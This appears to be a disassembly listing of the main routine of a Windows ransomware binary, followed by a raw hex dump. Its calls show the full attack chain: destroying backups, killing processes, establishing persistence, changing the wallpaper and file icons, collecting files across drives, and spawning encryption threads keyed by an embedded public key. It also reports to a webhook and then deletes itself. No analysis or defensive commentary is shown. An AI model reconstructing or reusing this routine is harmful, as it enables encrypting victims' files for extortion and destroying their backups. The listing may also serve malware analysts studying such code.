14000b32emov rcx, rax
14000b331call std::__new_allocator<char>::~__new_allocator()
14000b336nop
14000b337call destroy_backups()
14000b33ccall kill_processes()
14000b341call establish_persistence()
14000b346lea rax, [rip+0x1bcdb3]
14000b34dmov rcx, rax
14000b350call set_wallpaper(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b355lea rax, [rip+0x1bcdc4]
14000b35cmov rcx, rax
14000b35fcall change_file_icons(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b364lea rax, [rbp+2560]
14000b36blea rdx, [rip+0x1bcd0e]
14000b372mov rcx, rax
14000b375call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b37alea rax, [rbp+2560]
14000b381mov rcx, rax
14000b384call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
14000b389mov edx, -1
14000b38emov rcx, rax
14000b391call BIO_new_mem_buf
14000b396mov [rbp+4008], rax
14000b39dlea rax, [rbp+2560]
14000b3a4mov rcx, rax
14000b3a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b3acmov rax, [rbp+4008]
14000b3b3mov r9l, 0
14000b3b9mov r8l, 0
14000b3bfmov edx, 0
14000b3c4mov rcx, rax
14000b3c7call PEM_read_bio_PUBKEY
14000b3ccmov [rbp+280], rax
14000b3d3mov rax, [rbp+4008]
14000b3damov rcx, rax
14000b3ddcall BIO_free
14000b3e2mov rax, [rbp+280]
14000b3e9test rax, rax
14000b3ecje 0x14000b9c5
14000b3f2lea rax, [rbp+2639]
14000b3f9mov [rbp+3832], rax
14000b400nop
14000b401nop
14000b402lea rcx, [rbp+2639]
14000b409lea rdx, [rip+0xfbdd9]
14000b410lea rax, [rbp+2592]
14000b417mov r8, rcx
14000b41amov rcx, rax
14000b41dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b422lea rax, [rbp+2687]
14000b429mov [rbp+3824], rax
14000b430nop
14000b431nop
14000b432lea rcx, [rbp+2687]
14000b439lea rdx, [rip+0xfd570]
14000b440lea rax, [rbp+2640]
14000b447mov r8, rcx
14000b44amov rcx, rax
14000b44dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b452lea rdx, [rbp+2592]
14000b459lea rax, [rbp+2640]
14000b460mov rcx, rax
14000b463call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b468lea rax, [rbp+2640]
14000b46fmov rcx, rax
14000b472call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b477lea rax, [rbp+2687]
14000b47emov rcx, rax
14000b481call std::__new_allocator<char>::~__new_allocator()
14000b486nop
14000b487lea rax, [rbp+2592]
14000b48emov rcx, rax
14000b491call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b496lea rax, [rbp+2639]
14000b49dmov rcx, rax
14000b4a0call std::__new_allocator<char>::~__new_allocator()
14000b4a5nop
14000b4a6lea rax, [rbp-80]
14000b4aamov [rsp+32], rax
14000b4afmov r9l, 0
14000b4b5mov r8l, 0
14000b4bbmov edx, 40
14000b4c0mov ecx, 0
14000b4c5mov rax, [rip+0x1bec7c]
14000b4cccall rax
14000b4cenot eax
14000b4d0shr eax, 31
14000b4d3test al, al
14000b4d5je 0x14000b5f2
14000b4dblea rax, [rbp+2735]
14000b4e2mov [rbp+3816], rax
14000b4e9nop
14000b4eanop
14000b4eblea rcx, [rbp+2735]
14000b4f2lea rdx, [rip+0xfbcf0]
14000b4f9lea rax, [rbp+2688]
14000b500mov r8, rcx
14000b503mov rcx, rax
14000b506call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b50blea rax, [rbp+2815]
14000b512mov [rbp+3808], rax
14000b519nop
14000b51anop
14000b51blea rcx, [rbp+2815]
14000b522lea rdx, [rbp-80]
14000b526lea rax, [rbp+2768]
14000b52dmov r8, rcx
14000b530mov rcx, rax
14000b533call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b538lea rax, [rbp+2736]
14000b53flea rcx, [rbp+2768]
14000b546lea rdx, [rip+0xfd493]
14000b54dmov r8, rcx
14000b550mov rcx, rax
14000b553call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
14000b558lea rdx, [rbp+2688]
14000b55flea rax, [rbp+2736]
14000b566mov rcx, rax
14000b569call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b56elea rax, [rbp+2736]
14000b575mov rcx, rax
14000b578call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b57dlea rax, [rbp+2768]
14000b584mov rcx, rax
14000b587call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b58clea rax, [rbp+2815]
14000b593mov rcx, rax
14000b596call std::__new_allocator<char>::~__new_allocator()
14000b59bnop
14000b59clea rax, [rbp+2688]
14000b5a3mov rcx, rax
14000b5a6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b5ablea rax, [rbp+2735]
14000b5b2mov rcx, rax
14000b5b5call std::__new_allocator<char>::~__new_allocator()
14000b5banop
14000b5bblea rdx, [rbp-80]
14000b5bflea rax, [rbp+2816]
14000b5c6mov r8l, 2
14000b5ccmov rcx, rax
14000b5cfcall std::filesystem::__cxx11::path::path<char[260], std::filesystem::__cxx11::path>(char[260] const&, std::filesystem::__cxx11::path::format)
14000b5d4lea rax, [rbp+2816]
14000b5dbmov rcx, rax
14000b5decall traverse_and_collect(std::filesystem::__cxx11::path const&)
14000b5e3lea rax, [rbp+2816]
14000b5eamov rcx, rax
14000b5edcall std::filesystem::__cxx11::path::~path()
14000b5f2
14000b5f2loc_14000b5f2:
14000b5f2lea rax, [rbp+2911]
14000b5f9mov [rbp+3800], rax
14000b600nop
14000b601nop
14000b602lea rcx, [rbp+2911]
14000b609lea rdx, [rip+0xfbbd9]
14000b610lea rax, [rbp+2864]
14000b617mov r8, rcx
14000b61amov rcx, rax
14000b61dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b622lea rax, [rbp+2959]
14000b629mov [rbp+3792], rax
14000b630nop
14000b631nop
14000b632lea rcx, [rbp+2959]
14000b639lea rdx, [rip+0xfd3ba]
14000b640lea rax, [rbp+2912]
14000b647mov r8, rcx
14000b64amov rcx, rax
14000b64dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b652lea rdx, [rbp+2864]
14000b659lea rax, [rbp+2912]
14000b660mov rcx, rax
14000b663call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b668lea rax, [rbp+2912]
14000b66fmov rcx, rax
14000b672call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b677lea rax, [rbp+2959]
14000b67emov rcx, rax
14000b681call std::__new_allocator<char>::~__new_allocator()
14000b686nop
14000b687lea rax, [rbp+2864]
14000b68emov rcx, rax
14000b691call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b696lea rax, [rbp+2911]
14000b69dmov rcx, rax
14000b6a0call std::__new_allocator<char>::~__new_allocator()
14000b6a5nop
14000b6a6lea rdx, [rip+0xfd363]
14000b6adlea rax, [rbp+2960]
14000b6b4mov r8l, 2
14000b6bamov rcx, rax
14000b6bdcall std::filesystem::__cxx11::path::path<char[4], std::filesystem::__cxx11::path>(char[4] const&, std::filesystem::__cxx11::path::format)
14000b6c2lea rax, [rbp+2960]
14000b6c9mov rcx, rax
14000b6cccall traverse_and_collect(std::filesystem::__cxx11::path const&)
14000b6d1lea rax, [rbp+2960]
14000b6d8mov rcx, rax
14000b6dbcall std::filesystem::__cxx11::path::~path()
14000b6e0call std::thread::hardware_concurrency()
14000b6e5mov [rbp+4028], eax
14000b6ebcmp [rbp+4028], 0
14000b6f2jne 0x14000b6fe
14000b6f4mov [rbp+4028], 4
14000b6fe
14000b6feloc_14000b6fe:
14000b6felea rax, [rbp+3055]
14000b705mov [rbp+3784], rax
14000b70cnop
14000b70dnop
14000b70elea rcx, [rbp+3055]
14000b715lea rdx, [rip+0xfbacd]
14000b71clea rax, [rbp+3008]
14000b723mov r8, rcx
14000b726mov rcx, rax
14000b729call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b72elea rax, [rbp+3120]
14000b735mov edx, [rbp+4028]
14000b73bmov rcx, rax
14000b73ecall std::__cxx11::to_string(unsigned int)
14000b743lea rax, [rbp+3088]
14000b74alea rcx, [rbp+3120]
14000b751lea rdx, [rip+0xfd2bc]
14000b758mov r8, rcx
14000b75bmov rcx, rax
14000b75ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
14000b763lea rax, [rbp+3056]
14000b76alea rcx, [rip+0xfd2bd]
14000b771lea rdx, [rbp+3088]
14000b778mov r8, rcx
14000b77bmov rcx, rax
14000b77ecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000b783lea rdx, [rbp+3008]
14000b78alea rax, [rbp+3056]
14000b791mov rcx, rax
14000b794call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b799lea rax, [rbp+3056]
14000b7a0mov rcx, rax
14000b7a3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7a8lea rax, [rbp+3088]
14000b7afmov rcx, rax
14000b7b2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7b7lea rax, [rbp+3120]
14000b7bemov rcx, rax
14000b7c1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7c6lea rax, [rbp+3008]
14000b7cdmov rcx, rax
14000b7d0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b7d5lea rax, [rbp+3055]
14000b7dcmov rcx, rax
14000b7dfcall std::__new_allocator<char>::~__new_allocator()
14000b7e4nop
14000b7e5lea rax, [rbp+208]
14000b7ecmov rcx, rax
14000b7efcall std::vector<std::thread, std::allocator<std::thread>>::vector()
14000b7f4mov [rbp+4024], 0
14000b7fejmp 0x14000b827
14000b800
14000b800loc_14000b800:
14000b800lea rcx, [rbp+280]
14000b807lea rdx, [rip-16233]
14000b80elea rax, [rbp+208]
14000b815mov r8, rcx
14000b818mov rcx, rax
14000b81bcall std::thread& std::vector<std::thread, std::allocator<std::thread>>::emplace_back<void(evp_pkey_st*)&, evp_pkey_st*&>(void(evp_pkey_st*)&, evp_pkey_st*&...)
14000b820add [rbp+4024], 1
14000b827
14000b827loc_14000b827:
14000b827mov eax, [rbp+4024]
14000b82dcmp eax, [rbp+4028]
14000b833jb 0x14000b800
14000b835lea rax, [rbp+208]
14000b83cmov [rbp+4000], rax
14000b843mov rax, [rbp+4000]
14000b84amov rcx, rax
14000b84dcall std::vector<std::thread, std::allocator<std::thread>>::begin()
14000b852mov [rbp+200], rax
14000b859mov rax, [rbp+4000]
14000b860mov rcx, rax
14000b863call std::vector<std::thread, std::allocator<std::thread>>::end()
14000b868mov [rbp+192], rax
14000b86fjmp 0x14000b8b4
14000b871
14000b871loc_14000b871:
14000b871mov rax, [rbp+200]
14000b878mov [rbp+3992], rax
14000b87fmov rax, [rbp+3992]
14000b886mov rcx, rax
14000b889call std::thread::joinable() const
14000b88etest al, al
14000b890je 0x14000b8a1
14000b892mov rax, [rbp+3992]
14000b899mov rcx, rax
14000b89ccall std::thread::join()
14000b8a1
14000b8a1loc_14000b8a1:
14000b8a1mov rax, [rbp+200]
14000b8a8add rax, 8
14000b8acmov [rbp+200], rax
14000b8b3nop
14000b8b4
14000b8b4loc_14000b8b4:
14000b8b4lea rax, [rbp+200]
14000b8bbmov [rbp+3776], rax
14000b8c2mov rax, [rbp+3776]
14000b8c9mov rdx, [rax]
14000b8cclea rax, [rbp+192]
14000b8d3mov [rbp+3768], rax
14000b8damov rax, [rbp+3768]
14000b8e1mov rax, [rax]
14000b8e4cmp rdx, rax
14000b8e7setne al
14000b8eatest al, al
14000b8ecjne 0x14000b871
14000b8eelea rax, [rbp+3199]
14000b8f5mov [rbp+3760], rax
14000b8fcnop
14000b8fdnop
14000b8felea rcx, [rbp+3199]
14000b905lea rdx, [rip+0xfb8dd]
14000b90clea rax, [rbp+3152]
14000b913mov r8, rcx
14000b916mov rcx, rax
14000b919call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b91elea rax, [rbp+3247]
14000b925mov [rbp+3752], rax
14000b92cnop
14000b92dnop
14000b92elea rcx, [rbp+3247]
14000b935lea rdx, [rip+0xfd0fc]
14000b93clea rax, [rbp+3200]
14000b943mov r8, rcx
14000b946mov rcx, rax
14000b949call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b94elea rdx, [rbp+3152]
14000b955lea rax, [rbp+3200]
14000b95cmov rcx, rax
14000b95fcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b964lea rax, [rbp+3200]
14000b96bmov rcx, rax
14000b96ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b973lea rax, [rbp+3247]
14000b97amov rcx, rax
14000b97dcall std::__new_allocator<char>::~__new_allocator()
14000b982nop
14000b983lea rax, [rbp+3152]
14000b98amov rcx, rax
14000b98dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b992lea rax, [rbp+3199]
14000b999mov rcx, rax
14000b99ccall std::__new_allocator<char>::~__new_allocator()
14000b9a1nop
14000b9a2mov rax, [rbp+280]
14000b9a9mov rcx, rax
14000b9accall EVP_PKEY_free
14000b9b1lea rax, [rbp+208]
14000b9b8mov rcx, rax
14000b9bbcall std::vector<std::thread, std::allocator<std::thread>>::~vector()
14000b9c0jmp 0x14000ba79
14000b9c5
14000b9c5loc_14000b9c5:
14000b9c5lea rax, [rbp+3295]
14000b9ccmov [rbp+3744], rax
14000b9d3nop
14000b9d4nop
14000b9d5lea rcx, [rbp+3295]
14000b9dclea rdx, [rip+0xfc262]
14000b9e3lea rax, [rbp+3248]
14000b9eamov r8, rcx
14000b9edmov rcx, rax
14000b9f0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b9f5lea rax, [rbp+3343]
14000b9fcmov [rbp+3736], rax
14000ba03nop
14000ba04nop
14000ba05lea rcx, [rbp+3343]
14000ba0clea rdx, [rip+0xfd04d]
14000ba13lea rax, [rbp+3296]
14000ba1amov r8, rcx
14000ba1dmov rcx, rax
14000ba20call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ba25lea rdx, [rbp+3248]
14000ba2clea rax, [rbp+3296]
14000ba33mov rcx, rax
14000ba36call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000ba3blea rax, [rbp+3296]
14000ba42mov rcx, rax
14000ba45call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ba4alea rax, [rbp+3343]
14000ba51mov rcx, rax
14000ba54call std::__new_allocator<char>::~__new_allocator()
14000ba59nop
14000ba5alea rax, [rbp+3248]
14000ba61mov rcx, rax
14000ba64call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ba69lea rax, [rbp+3295]
14000ba70mov rcx, rax
14000ba73call std::__new_allocator<char>::~__new_allocator()
14000ba78nop
14000ba79
14000ba79loc_14000ba79:
14000ba79lea rax, [rip+0x1bc5d0]
14000ba80mov rcx, rax
14000ba83call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::size() const
14000ba88mov rdx, rax
14000ba8blea rax, [rbp+3376]
14000ba92mov rcx, rax
14000ba95call std::__cxx11::to_string(unsigned long long)
14000ba9alea rax, [rbp+3519]
14000baa1mov [rbp+3728], rax
14000baa8nop
14000baa9nop
14000baaalea rcx, [rbp+3519]
14000bab1lea rdx, [rbp+1120]
14000bab8lea rax, [rbp+3472]
14000babfmov r8, rcx
14000bac2mov rcx, rax
14000bac5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000bacalea rax, [rbp+3552]
14000bad1lea rcx, [rbp+1072]
14000bad8lea rdx, [rip+0xfcfb9]
14000badfmov r8, rcx
14000bae2mov rcx, rax
14000bae5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
14000baealea rax, [rbp+3520]
14000baf1lea rcx, [rip+0xfcbb0]
14000baf8lea rdx, [rbp+3552]
14000baffmov r8, rcx
14000bb02mov rcx, rax
14000bb05call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000bb0alea rax, [rbp+3440]
14000bb11lea rcx, [rbp+3472]
14000bb18lea rdx, [rbp+3520]
14000bb1fmov r8, rcx
14000bb22mov rcx, rax
14000bb25call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000bb2alea rax, [rbp+3408]
14000bb31lea rcx, [rip+0xfd028]
14000bb38lea rdx, [rbp+3440]
14000bb3fmov r8, rcx
14000bb42mov rcx, rax
14000bb45call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000bb4alea rax, [rbp+3344]
14000bb51lea rcx, [rbp+3376]
14000bb58lea rdx, [rbp+3408]
14000bb5fmov r8, rcx
14000bb62mov rcx, rax
14000bb65call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000bb6alea rax, [rbp+240]
14000bb71lea rcx, [rip+0xfd024]
14000bb78lea rdx, [rbp+3344]
14000bb7fmov r8, rcx
14000bb82mov rcx, rax
14000bb85call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000bb8alea rax, [rbp+3344]
14000bb91mov rcx, rax
14000bb94call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bb99lea rax, [rbp+3408]
14000bba0mov rcx, rax
14000bba3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bba8lea rax, [rbp+3440]
14000bbafmov rcx, rax
14000bbb2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbb7lea rax, [rbp+3520]
14000bbbemov rcx, rax
14000bbc1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbc6lea rax, [rbp+3552]
14000bbcdmov rcx, rax
14000bbd0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbd5lea rax, [rbp+3472]
14000bbdcmov rcx, rax
14000bbdfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbe4lea rax, [rbp+3519]
14000bbebmov rcx, rax
14000bbeecall std::__new_allocator<char>::~__new_allocator()
14000bbf3nop
14000bbf4lea rax, [rbp+3376]
14000bbfbmov rcx, rax
14000bbfecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bc03lea rax, [rbp+240]
14000bc0alea rcx, [rip+0x1bc48f]
14000bc11mov rdx, rax
14000bc14call send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bc19lea rax, [rbp+3584]
14000bc20lea rdx, [rip+0x1bc499]
14000bc27mov rcx, rax
14000bc2acall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bc2flea rax, [rbp+3584]
14000bc36mov rcx, rax
14000bc39call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000bc3exor eax, 1
14000bc41mov ebx, eax
14000bc43lea rax, [rbp+3584]
14000bc4amov rcx, rax
14000bc4dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bc52test bl, bl
14000bc54je 0x14000bc6c
14000bc56lea rax, [rbp+240]
14000bc5dlea rcx, [rip+0x1bc45c]
14000bc64mov rdx, rax
14000bc67call send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bc6c
14000bc6cloc_14000bc6c:
14000bc6clea rax, [rbp+3663]
14000bc73mov [rbp+3720], rax
14000bc7anop
14000bc7bnop
14000bc7clea rcx, [rbp+3663]
14000bc83lea rdx, [rip+0xfb55f]
14000bc8alea rax, [rbp+3616]
14000bc91mov r8, rcx
14000bc94mov rcx, rax
14000bc97call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000bc9clea rax, [rbp+3711]
14000bca3mov [rbp+3712], rax
14000bcaanop
14000bcabnop
14000bcaclea rcx, [rbp+3711]
14000bcb3lea rdx, [rip+0xfcefe]
14000bcbalea rax, [rbp+3664]
14000bcc1mov r8, rcx
14000bcc4mov rcx, rax
14000bcc7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000bccclea rdx, [rbp+3616]
14000bcd3lea rax, [rbp+3664]
14000bcdamov rcx, rax
14000bcddcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bce2lea rax, [rbp+3664]
14000bce9mov rcx, rax
14000bceccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bcf1lea rax, [rbp+3711]
14000bcf8mov rcx, rax
14000bcfbcall std::__new_allocator<char>::~__new_allocator()
14000bd00nop
14000bd01lea rax, [rbp+3616]
14000bd08mov rcx, rax
14000bd0bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd10lea rax, [rbp+3663]
14000bd17mov rcx, rax
14000bd1acall std::__new_allocator<char>::~__new_allocator()
14000bd1fnop
14000bd20mov rax, [rip+0x1bdd89]
14000bd27call rax
14000bd29mov rax, [rbp+1144]
14000bd30mov rcx, rax
14000bd33call GdiplusShutdown
14000bd38mov rax, [rbp+4016]
14000bd3fmov rcx, rax
14000bd42mov rax, [rip+0x1bde57]
14000bd49call rax
14000bd4bcall self_delete()
14000bd50mov ebx, 0
14000bd55lea rax, [rbp+240]
14000bd5cmov rcx, rax
14000bd5fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd64lea rax, [rbp+288]
14000bd6bmov rcx, rax
14000bd6ecall std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
14000bd73lea rax, [rbp+752]
14000bd7amov rcx, rax
14000bd7dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd82lea rax, [rbp+784]
14000bd89mov rcx, rax
14000bd8ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd91lea rax, [rbp+816]
14000bd98mov rcx, rax
14000bd9bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bda0lea rax, [rbp+848]
14000bda7mov rcx, rax
14000bdaacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdaflea rax, [rbp+880]
14000bdb6mov rcx, rax
14000bdb9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdbelea rax, [rbp+912]
14000bdc5mov rcx, rax
14000bdc8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdcdlea rax, [rbp+944]
14000bdd4mov rcx, rax
14000bdd7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bddclea rax, [rbp+976]
14000bde3mov rcx, rax
14000bde6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdeblea rax, [rbp+1008]
14000bdf2mov rcx, rax
14000bdf5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdfalea rax, [rbp+1040]
14000be01mov rcx, rax
14000be04call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000be09lea rax, [rbp+1072]
14000be10mov rcx, rax
14000be13call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000be18
14000be18loc_14000be18:
14000be18mov eax, ebx
14000be1ajmp 0x14000c6a2
14000be1f
14000be1f 48 H
14000be20 89 c3 48 8d 85 d0 04 00 00 48 89 c1 e8 9f 56 0d ..H......H....V.
14000be30 00 eb 03 48 89 c3 48 8d 85 ff 04 00 00 48 89 c1 ...H..H......H..
14000be40 e8 8b 1f 0c 00 90 48 8d 85 a0 04 00 00 48 89 c1 ......H......H..
14000be50 e8 7b 56 0d 00 eb 03 48 89 c3 48 8d 85 cf 04 00 .{V....H..H.....
14000be60 00 48 89 c1 e8 67 1f 0c 00 90 48 89 d8 48 89 c1 .H...g....H..H..
14000be70 e8 2b f5 00 00 48 89 c3 48 8d 85 30 05 00 00 48 .+...H..H..0...H
14000be80 89 c1 e8 49 56 0d 00 eb 03 48 89 c3 48 8d 85 5f ...IV....H..H.._
14000be90 05 00 00 48 89 c1 e8 35 1f 0c 00 90 48 8d 85 00 ...H...5....H...
14000bea0 05 00 00 48 89 c1 e8 25 56 0d 00 eb 03 48 89 c3 ...H...%V....H..
14000beb0 48 8d 85 2f 05 00 00 48 89 c1 e8 11 1f 0c 00 90 H../...H........
14000bec0 48 89 d8 48 89 c1 e8 d5 f4 00 00 48 89 c3 48 8d H..H.......H..H.
14000bed0 85 90 05 00 00 48 89 c1 e8 f3 55 0d 00 eb 03 48 .....H....U....H
14000bee0 89 c3 48 8d 85 be 05 00 00 48 89 c1 e8 df 1e 0c ..H......H......
14000bef0 00 90 48 8d 85 60 05 00 00 48 89 c1 e8 cf 55 0d ..H..`...H....U.
14000bf00 00 eb 03 48 89 c3 48 8d 85 8f 05 00 00 48 89 c1 ...H..H......H..
14000bf10 e8 bb 1e 0c 00 90 48 89 d8 48 89 c1 e8 7f f4 00 ......H..H......
14000bf20 00 48 89 c3 48 8d 85 bf 05 00 00 48 89 c1 e8 9d .H..H......H....
14000bf30 1e 0c 00 90 48 89 d8 48 89 c1 e8 61 f4 00 00 48 ....H..H...a...H
14000bf40 89 c3 48 8d 85 c0 05 00 00 48 89 c1 e8 7f 55 0d ..H......H....U.
14000bf50 00 eb 03 48 89 c3 48 8d 85 e0 05 00 00 48 89 c1 ...H..H......H..
14000bf60 e8 6b 55 0d 00 eb 03 48 89 c3 48 8d 85 00 06 00 .kU....H..H.....
14000bf70 00 48 89 c1 e8 57 55 0d 00 eb 03 48 89 c3 48 8d .H...WU....H..H.
14000bf80 85 20 06 00 00 48 89 c1 e8 43 55 0d 00 eb 03 48 . ...H...CU....H
14000bf90 89 c3 48 8d 85 40 06 00 00 48 89 c1 e8 2f 55 0d ..H..@...H.../U.
14000bfa0 00 eb 03 48 89 c3 48 8d 85 60 06 00 00 48 89 c1 ...H..H..`...H..
14000bfb0 e8 1b 55 0d 00 eb 03 48 89 c3 48 8d 85 80 06 00 ..U....H..H.....
14000bfc0 00 48 89 c1 e8 07 55 0d 00 eb 03 48 89 c3 48 8d .H....U....H..H.
14000bfd0 85 a0 06 00 00 48 89 c1 e8 f3 54 0d 00 eb 03 48 .....H....T....H
14000bfe0 89 c3 48 8d 85 c0 06 00 00 48 89 c1 e8 df 54 0d ..H......H....T.
14000bff0 00 eb 03 48 89 c3 48 8d 85 e0 06 00 00 48 89 c1 ...H..H......H..
14000c000 e8 cb 54 0d 00 eb 03 48 89 c3 48 8d 85 00 07 00 ..T....H..H.....
14000c010 00 48 89 c1 e8 b7 54 0d 00 eb 03 48 89 c3 48 8d .H....T....H..H.
